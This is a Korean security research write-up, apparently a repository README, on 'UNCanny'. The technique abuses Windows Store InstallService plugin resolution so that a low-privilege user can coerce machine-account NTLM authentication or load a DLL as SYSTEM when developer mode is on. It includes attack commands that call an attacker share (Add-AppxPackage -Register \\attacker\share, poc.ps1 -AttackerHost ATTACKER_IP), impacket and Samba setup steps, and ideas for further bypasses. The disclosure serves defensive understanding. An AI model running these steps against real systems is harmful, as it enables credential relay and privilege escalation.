
LPE를 동반한 또 다른 새로운 강제(coercion) 프리미티브 - Windows Store InstallService 플러그인 확인(plugin resolution) 실험을 통한 비관리자 사용자의 머신 계정 NTLM 강제 인증
이 연구의 아이디어는 간단했습니다. 제 자신만의 강제 인증(coercion) 기법을 찾고 싶었기 때문입니다. 처음에는 새로운 RPC 공격 표면을 찾는 것부터 시작했지만, 마이크로소프트가 RPC 활동 모니터링을 추가한 후(https://techcommunity.microsoft.com/blog/microsoftdefenderatpblog/microsoft-defender-now-monitors-rpc-activity/4523368), 다른 길을 택하기로 했습니다.
UNCanny는 그 토끼굴의 결과물입니다. 제한 사항 때문에 실제 레드팀 운영에 신뢰할 만한 도구라고 생각하지는 않지만, 같은 영역을 파고드는 사람들을 위해 이 노트를 공개할 가치가 있다고 봅니다.
간단히 말해 이 프리미티브는 다음과 같습니다:
일반 사용자가 Windows 스토어 설치 서비스에 설치 메타데이터를 건네줍니다 -> 로컬 시스템으로 실행 중인 서비스는 해당 작업을 위한 "플러그인"을 해석합니다 -> 해석기는 사용자가 영향을 준 경로에 대해
LoadLibraryW를 수행하게 됩니다 -> 그 경로는 UNC입니다 -> 머신 계정으로 아웃바운드 NTLM이 발생합니다.
해당 구성 요소는 Windows 스토어 설치 서비스 영역에 있습니다: InstallService.dll은 InstallService.exe에 호스팅되며 NT AUTHORITY\SYSTEM으로 실행됩니다.
토끼굴은 InstallService.dll에서 시작됐습니다. 패키지를 설치하고, 재부팅 후 상태를 복원하고, 실패한 작업을 재개하고, 로컬/원격 콘텐츠를 읽고, 플러그인을 로드하는 Windows 구성 요소를 찾고 있었습니다. 이 네 가지가 함께 있는 구성 요소는 대개 어딘가에 경계 혼란(boundary confusion)이 있습니다:
흥미로운 런타임 클래스는 다음과 같았습니다:
Windows.Internal.InstallService.Control.InstallServiceControl
IID: e4893a99-9270-42b9-9a62-683d6ceed250
method: vtable slot 8 -> CreateInstallServiceWork(cv, caller, _, _, propertiesJson, optionsJson, out items)

propertiesJson 매개변수에 재미가 숨어 있습니다. 설치 동작은 FulfillmentPluginId, SourceUri, PackageFamilyName, SerializedFulfillmentData, SkipCatalogLookup, ProductId, SkuId 같은 json 필드로 설명됩니다.
처음에는 버그가 "SourceUri에 UNC를 넣고 서비스가 그 파일을 읽게 하는 것"이라고 생각했습니다. 정말 깔끔했겠지만 Windows는 그렇게 후하지 않았습니다. 기본 제공 fulfillment 경로(CreateInstallServiceWorkFromBridge, InstallService.dll)를 리버스했고, 기본 제공 플러그인들은 그렇게 하지 않습니다:
WU는 json을 파싱하고 WinHTTP / Delivery Optimization을 통해 나갑니다. SMB는 절대 아닙니다.ChainedWork와 XVC도 같은 이야기이거나 클라이언트에는 아예 존재하지 않습니다.SourceUri는 빠르게 거부되거나 카탈로그 검증으로 라우팅됩니다. CreateCatalogItemFromLocalData는 이름과 달리 메모리 내 직렬화된 json에서 카탈로그 항목을 만들 뿐 파일을 열지 않습니다.그래서 그 순진한 아이디어는 막다른 길입니다. 이 기능은 매우 흥미롭고 저도 여기에 대한 다른 연구 프리미티브를 진행 중이므로, 누군가 한 주를 낭비하지 않도록 미리 말해두는 게 좋겠습니다 :)
전체 생성/복원 흐름에서 서비스가 공격자가 영향을 준 경로를 접촉하는 유일한 지점은 플러그인 활성화입니다. 해당 함수는 PluginHelpers::ActivatePlugin입니다. FulfillmentPluginId를 다음 순서로 해석합니다:
"WU" -> 기본 제공"ChainedWork" -> 기본 제공StaticPluginMap(HKLM)에서 찾은 값 -> CLSID에 대해 CoCreateInstance를 호출하거나 WinRT 클래스를 활성화"XVC" -> Xbox 팩토리FindPackagesForUser(pfn) -> 해당 패키지의 InstalledLocation.Path를 가져옴 -> LoadLibraryW( path + "\InstallServicePlugin.dll" ) -> GetProcAddress("ActivatePlugin")5번 분기가 바로 그것이며, PluginHelpers::IsPluginAvailable이 그 관문을 확인해 줍니다. 이 함수는 정확히 동일한 FindPackagesForUser 조회를 통해 설치된 패키지와 일치하는 모든 FulfillmentPluginId에 대해 true를 반환합니다.

따라서 FulfillmentPluginId가 InstalledLocation이 UNC인 패키지를 가리키면, SYSTEM으로 실행 중인 InstallService.exe는 다음을 수행합니다:
LoadLibraryW( \\attacker\share\InstallServicePlugin.dll )
LoadLibraryW는 DLL이 거기에 없다는 것을 알기 전에 \\attacker\share에 연결하고 인증해야 합니다. 그 인증이 바로 강제 인증이며, DLL은 존재할 필요가 없습니다.

남은 유일한 질문은 "일반 사용자가 InstalledLocation이 UNC인 패키지를 어떻게 얻는가"입니다. 답은 느슨한 파일 등록(loose-file registration)이며, 사용자별, 권한 상승이 필요 없는 작업입니다:
Add-AppxPackage -Register \\attacker\share\AppxManifest.xml
Windows는 패키지를 "제자리에서" 등록하므로 등록된 InstalledLocation은 문자 그대로 지정한 UNC입니다. 그런 다음 해당 패키지의 패밀리 이름을 플러그인 ID로 사용하여 작업을 트리거합니다.
Add-AppxPackage -Register \\attacker\share\AppxManifest.xmlCreateInstallServiceWork( FulfillmentPluginId = <that package's PFN> )호출자는 일반 사용자이고, 네트워크 인증은 머신 계정입니다.

낮은 권한 사용자가 트리거했고, 머신 계정이 인증했습니다. UNC 접촉은 호출자가 아니라 Windows 자체 로더가 수행했습니다.

실행 전에 정리해야 할 두 가지가 있습니다:
impacket-smbserver는 파일 시스템 유형을 XTFS로 보고합니다. AppX는 NTFS가 아닌 공유에서 등록을 거부합니다(0x80073CFD). impacket/smbserver.py의 FileSystemName 필드를 NTFS로 패치하세요.
공유에는 AppxManifest.xml, logo.png, dummy.exe가 필요합니다. InstallServicePlugin.dll은 필요하지 않습니다. 매니페스트의 MaxVersionTested는 대상 빌드보다 작거나 같아야 합니다(대상에서 winver로 확인).
Kali의 리포지토리 루트에서 poc/setup.sh를 실행할 수 있습니다. 이 스크립트는 공유를 채우고, impacket을 패치하고, TARGET_IP와 TARGET_CREDS가 설정되어 있으면 smbclient를 통해 대상에 poc.ps1을 스테이징한 다음 서버를 시작합니다 ;-)
그런 다음 Windows 워크스테이션의 대화형 세션에서 낮은 권한 사용자로 다음을 실행합니다:
powershell -ExecutionPolicy Bypass -File poc.ps1 -AttackerHost ATTACKER_IP -Share coerce
같은 버그에는 강제 인증보다 더 직접적인 두 번째 측면이 있습니다. InstallServicePlugin.dll이 UNC 패키지 경로에 실제로 존재하면 서비스는 여전히 동일한 LoadLibraryW(\\attacker\share\InstallServicePlugin.dll) 분기에 도달하지만, 이번에는 로더가 성공하고 DLL이 스토어 설치 서비스 프로세스 내부에 NT AUTHORITY\SYSTEM으로 매핑됩니다.
그래서 저는 이 문제를 증명하려고 열심히 시도했고 lpe/에 poc를 작성했습니다. 중요한 것은 또 다른 패키지 등록 트릭이 아니라, 이미 등록된 느슨한 패키지를 플러그인 패키지로 재사용한다는 점입니다. 하네스는 Get-AppxPackage로 낮은 권한 사용자의 패키지 패밀리 이름을 구하고, 그 PFN을 FulfillmentPluginId로 전달하며, SkipCatalogLookup=true를 설정하고 SerializedFulfillmentData를 포함합니다. 마지막 필드가 중요한 이유는 InstallQueue2::CreateWork가 fulfillment 데이터 없이 카탈로그 조회를 건너뛰면 0x80070057로 요청을 거부하기 때문입니다.
문제 해결에 오랜 시간이 걸렸던 아주 중요한 점은 impacket은 로드 가능한 이미지를 제공할 수 없다는 것입니다. impacket은 머신 계정이 인증할 수 있을 만큼 읽기 요청에 잘 응답하므로 강제 인증 경로는 완벽하게 동작하지만, impacket 공유를 대상으로 한 LoadLibraryW는 ERROR_INVALID_HANDLE과 함께 null을 반환하고 DllMain은 절대 실행되지 않습니다. 동일한 파일을 실제 SMB 서버(Samba)로 제공하면 로드가 성공합니다. Samba는 기본적으로 NTFS로 보고하므로 느슨한 등록도 여전히 진행됩니다. 따라서 규칙은 간단합니다. 해시만 원하면 impacket, DLL이 실제로 SYSTEM으로 실행되기를 원하면 Samba를 사용하세요!
실제 실행에서 낮은 권한 사용자가 트리거하면 uncanny_lpe.txt는 DLL이 svchost.exe에 매핑되고 토큰이 NT AUTHORITY\SYSTEM / S-1-5-18로 확인되는 것을 보여줍니다. 아래 스크린샷이 바로 그것입니다.

이 데모 DLL에서는 DllMain이 이미 실행된 후에 서비스가 실제 플러그인 인터페이스를 요청하다가 포기하므로, CreateInstallServiceWork는 여전히 0x800706BE를 반환합니다 :-)

이 제한 사항이 사실 제가 이 기법을 공개하기로 결정한 이유입니다. 이 기법을 수행하려면 개발자 모드(developer mode)가 활성화되어 있어야 합니다. 이 모든 것은 InstalledLocation.Path가 UNC 경로라는 점에 달려 있으며, 많은 시간을 들여 파고든 끝에 그렇게 만들 수 있는 방법을 하나만 찾았습니다. 일반적인 서명된 설치는 패키지를 C:\Program Files\WindowsApps\...에 복사하고 InstalledLocation을 거기에 설정하는데, 그 경로는 항상 로컬 경로입니다.
제가 찾은 유일한 등록 경로는 파일을 원래 위치(UNC 공유 포함)에 그대로 두는 느슨한 파일 등록(Add-AppxPackage -Register <manifest>)입니다. 이것이 바로 개발자 모드(HKLM\...\AppModelUnlock 아래의 AllowDevelopmentWithoutDevLicense)가 잠금 해제하는 기능입니다. 그리고 이 기능이 잠겨 있는 이유도 타당합니다. 느슨한 등록은 기본적으로 사용자가 제어하는 위치에 있는 임의의 서명되지 않은 파일로부터 신뢰할 수 있는 패키지 ID를 생성하며, 일반 스토어 및 서명 신뢰 모델을 완전히 우회합니다. 그렇기 때문에 개발자 모드를 활성화해야 하며, 이것이 현재 이 기법의 가장 큰 제한 사항입니다.
흥미로운 점은 InstallService 쪽은 별로 신경 쓰지 않는다는 것입니다. 일단 그러한 패키지가 존재하면 ActivatePlugin의 5번 분기는 받은 InstalledLocation.Path가 무엇이든 기꺼이 LoadLibraryW를 호출합니다. 전체 문제는 개발자 모드 없이 설치 위치가 UNC 경로를 가리키는 패키지를 애초에 얻는 것입니다.
그래서 저는 다른 진입 방법을 찾기 위해 안전장치들을 리버스하기 시작했습니다.
개발자 모드 확인은 InstallService 내부에 전혀 있지 않습니다. AppX 배포 스택(AppXDeploymentServer.dll 및 배포 라이선싱 정책) 안에 있으며, 궁극적으로 관리자가 제어하는 HKLM\...\AppModelUnlock을 읽습니다. 일반 사용자가 거기서 바꿀 수 있는 것은 아무것도 없습니다.
저는 또한 사이드로딩처럼 명백해 보이는 우회 경로도 추적했습니다.
사이드로딩을 활성화하고 개발자 모드를 비활성화한 상태(IsSideloadingEnabled=1, IsDeveloperModeEnabled=0)로 테스트했습니다. 느슨한 등록은 즉시 실패했고, 패키지 출처가 Unsigned이고 유효한 라이선스나 사이드로딩 정책을 적용할 수 없다고 불평했습니다.
아직 완전히 배제하지 못한 경로가 몇 가지 더 있습니다. 원한다면 파고들어 보십시오:
StaticPluginMap과 COM 검색 순서 하이재킹의 조합-ExternalLocation 및 외부 패키지 콘텐츠HKCU\...\CLSID를 통한 사용자별 COM 하이재킹Elastic은 아마 하루 안에 이걸 커버할 것입니다.
- 이 정보가 어떻게 사용되든 저는 책임지지 않습니다. 이 연구는 결과적으로 교육 목적으로 공개되며, 공격 표면에 대한 이해를 높이는 데도 도움이 될 수 있습니다.